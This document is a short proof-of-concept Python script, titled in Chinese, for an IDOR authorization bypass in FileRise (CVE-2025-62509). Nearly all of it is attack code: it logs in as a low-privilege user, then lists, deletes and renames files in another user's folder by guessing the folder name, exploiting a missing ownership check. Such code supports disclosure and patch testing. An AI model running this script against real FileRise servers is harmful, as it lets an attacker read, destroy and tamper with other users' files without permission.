CVE-2025-62509 FileRise IDOR权限绕过漏洞

# CVE-2025-62509 - FileRise IDOR Vulnerability PoC # This PoC demonstrates unauthorized file operations via predictable folder names import requests # Target FileRise instance BASE_URL = "http://target-filerise-instance.com" # Attacker credentials (low-privilege user) ATTACKER_SESSION = requests.Session() # Step 1: Login as a low-privilege user login_url = f"{BASE_URL}/api/login" login_data = { "username": "attacker_user", "password": "attacker_password" } response = ATTACKER_SESSION.post(login_url, json=login_data) print(f"[*] Login response: {response.status_code}") # Step 2: List files in victim's folder (IDOR - no ownership check) # The vulnerability allows accessing folders named after other users victim_username = "victim_user" list_url = f"{BASE_URL}/api/files/list" list_params = { "path": f"/{victim_username}/" # Accessing victim's folder by predictable name } response = ATTACKER_SESSION.get(list_url, params=list_params) print(f"[*] Listing victim's files: {response.status_code}") print(f"[*] Files found: {response.json()}") # Step 3: Delete a file from victim's folder (unauthorized delete) delete_url = f"{BASE_URL}/api/files/delete" delete_data = { "path": f"/{victim_username}/sensitive_document.txt" } response = ATTACKER_SESSION.post(delete_url, json=delete_data) print(f"[*] Delete operation: {response.status_code}") # Step 4: Rename a victim's file (unauthorized modify) rename_url = f"{BASE_URL}/api/files/rename" rename_data = { "old_path": f"/{victim_username}/important_file.txt", "new_path": f"/{victim_username}/renamed_file.txt" } response = ATTACKER_SESSION.post(rename_url, json=rename_data) print(f"[*] Rename operation: {response.status_code}") # The server fails to verify that the authenticated user # owns the target resources, allowing unauthorized operations.